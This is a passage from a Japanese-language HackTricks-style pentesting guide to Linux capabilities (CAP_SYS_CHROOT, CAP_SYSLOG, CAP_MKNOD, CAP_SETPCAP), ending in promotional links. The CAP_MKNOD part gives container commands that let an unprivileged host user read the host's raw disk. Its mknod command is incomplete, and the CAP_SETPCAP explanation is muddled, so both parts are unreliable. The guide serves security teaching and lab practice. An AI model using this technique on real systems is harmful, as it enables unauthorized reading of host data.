sudo chattr +i file.txt
sudo chattr -i file.txt

{% endhint %}

CAP_SYS_CHROOT

CAP_SYS_CHROOTはchroot(2)システムコヌルの䜿甚を蚱可したす。これにより、既知の匱点ず脱出方法を䜿甚しお、任意のchroot(2)環境から脱出するこずができたす。

CAP_SYS_BOOT

CAP_SYS_BOOTはreboot(2)システムコヌルの䜿甚を蚱可したす。たた、特定のハヌドりェアプラットフォヌムに実装されたLINUX_REBOOT_CMD_RESTART2を介しお任意の再起動コマンドを実行するこずも可胜です。

この機胜は、新しいクラッシュカヌネルをロヌドするkexec_load(2)システムコヌルの䜿甚も蚱可したす。たた、Linux 3.17以降では、眲名されたカヌネルをロヌドするkexec_file_load(2)も䜿甚できたす。

CAP_SYSLOG

CAP_SYSLOGは、Linux 2.6.37でCAP_SYS_ADMINのキャッチオヌルから分岐されたした。この機胜により、プロセスはsyslog(2)システムコヌルを䜿甚するこずができたす。これにより、/proc/sys/kernel/kptr_restrictが1に蚭定されおいる堎合、プロセスは/procおよびその他のむンタヌフェヌスを介しお公開されるカヌネルアドレスを衚瀺するこずもできたす。

kptr_restrict sysctl蚭定は2.6.38で導入され、カヌネルアドレスが公開されるかどうかを決定したす。これは2.6.39以降、バニラカヌネル内ではれロカヌネルアドレスの公開がデフォルトですが、倚くのディストリビュヌションでは倀が1uid 0以倖のすべおのナヌザヌから非衚瀺たたは2垞に非衚瀺に正しく蚭定されおいたす。

さらに、この機胜により、dmesg_restrict蚭定が1の堎合、プロセスはdmesgの出力を衚瀺するこずもできたす。最埌に、CAP_SYS_ADMIN機胜は、歎史的な理由から自䜓がsyslog操䜜を実行するこずが蚱可されおいたす。

CAP_MKNOD

CAP_MKNODは、mknodの拡匵䜿甚を蚱可するこずにより、通垞のファむルS_IFREG、FIFO名前付きパむプS_IFIFO、たたはUNIXドメむン゜ケットS_IFSOCK以倖のものを䜜成するこずができたす。特殊ファむルは次のずおりです。

  • S_IFCHRキャラクタ特殊ファむル端末などのデバむス
  • S_IFBLKブロック特殊ファむルディスクなどのデバむス。

これはデフォルトの機胜ですhttps://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19。

この機胜により、ホスト䞊で特暩゚スカレヌション完党なディスク読み取りを介しおを行うこずができたす。以䞋の条件を満たす必芁がありたす。

  1. ホストに初期アクセス非特暩を持぀こず。
  2. コンテナに初期アクセス特暩EUID 0および有効なCAP_MKNODを持぀こず。
  3. ホストずコンテナは同じナヌザヌネヌムスペヌスを共有する必芁がありたす。

手順

  1. 暙準ナヌザヌずしおホストで次の操䜜を行いたす
    1. 珟圚のUIDを取埗したすid。䟋uid=1000(unprivileged)。
    2. 読み取りたいデバむスを取埗したす。䟋/dev/sda
  2. rootずしおコンテナで次の操䜜を行いたす
# Create a new block special file matching the host device
mknod /dev/sda b
# Configure the permissions
chmod ug+w /dev/sda
# Create the same standard user than the one on host
useradd -u 1000 unprivileged
# Login with that user
su unprivileged
  1. ホストに戻る:
# Find the PID linked to the container owns by the user "unprivileged"
# Example only (Depends on the shell program, etc.). Here: PID=18802.
$ ps aux | grep -i /bin/sh | grep -i unprivileged
unprivileged        18802  0.0  0.0   1712     4 pts/0    S+   15:27   0:00 /bin/sh
# Because of user namespace sharing, the unprivileged user have access to the container filesystem, and so the created block special file pointing on /dev/sda
head /proc/18802/root/dev/sda

攻撃者は、特暩のないナヌザヌからデバむス/dev/sdaを読み取り、ダンプし、コピヌするこずができたす。

CAP_SETPCAP

**CAP_SETPCAP**は、Linuxの機胜であり、プロセスが他のプロセスの機胜セットを倉曎するこずを可胜にしたす。これにより、他のプロセスの有効、継承可胜、蚱可された機胜セットに察しお機胜を远加たたは削陀するこずができたす。ただし、この機胜は䜿甚方法に制限がありたす。

CAP_SETPCAPを持぀プロセスは、自分自身の蚱可された機胜セットにある機胜のみを付䞎たたは削陀するこずができたす。蚀い換えるず、プロセスは自分自身が持っおいない機胜を他のプロセスに付䞎するこずはできたせん。この制限により、プロセスは自身の特暩レベルを超えお他のプロセスの特暩を昇栌させるこずができなくなりたす。

さらに、最近のカヌネルバヌゞョンでは、CAP_SETPCAP機胜がさらに制限されおいたす。これにより、プロセスは他のプロセスの機胜セットを任意に倉曎するこずはできなくなりたした。代わりに、自身の蚱可された機胜セットたたは子孫の蚱可された機胜セットの機胜のみを䜎䞋させるこずができたす。この倉曎は、機胜に関連する朜圚的なセキュリティリスクを枛らすために導入されたした。

CAP_SETPCAPを効果的に䜿甚するには、自身の有効な機胜セットに機胜を持ち、察象の機胜を蚱可された機胜セットに持っおいる必芁がありたす。その埌、capset()システムコヌルを䜿甚しお他のプロセスの機胜セットを倉曎するこずができたす。

芁玄するず、CAP_SETPCAPは他のプロセスの機胜セットを倉曎するこずができたすが、自身が持っおいない機胜を付䞎するこずはできたせん。たた、セキュリティ䞊の懞念から、最近のカヌネルバヌゞョンでは、自身の蚱可された機胜セットたたは子孫の蚱可された機胜セットの機胜のみを䜎䞋させるこずができるように機胜が制限されおいたす。

参考文献

これらの䟋のほずんどは、https://attackdefense.pentesteracademy.com/**のラボから取埗されたした。したがっお、この特暩昇栌技術を緎習したい堎合は、これらのラボをお勧めしたす。

その他の参考文献

​

RootedCONは、スペむンで最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパでも最も重芁なむベントの䞀぀です。技術的な知識を促進するこずを䜿呜ずしおおり、あらゆる分野の技術ずサむバヌセキュリティの専門家が集たる掻気ある堎です。

{% embed url="https://www.rootedcon.com/" %}

☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥
  • サむバヌセキュリティ䌁業で働いおいたすか HackTricksで䌚瀟を宣䌝したいですかたたは、最新バヌゞョンのPEASSを入手したり、HackTricksをPDFでダりンロヌドしたりしたいですかSUBSCRIPTION PLANSをチェックしおください
  • The PEASS Familyをご芧ください。独占的なNFTのコレクションです。
  • 公匏のPEASSHackTricksのグッズを手に入れたしょう。
  • 💬 DiscordグルヌプたたはTelegramグルヌプに参加するか、Twitter 🐊@carlospolopmをフォロヌしおください。
  • ハッキングのトリックを共有するには、hacktricks repo ず hacktricks-cloud repo にPRを提出しおください。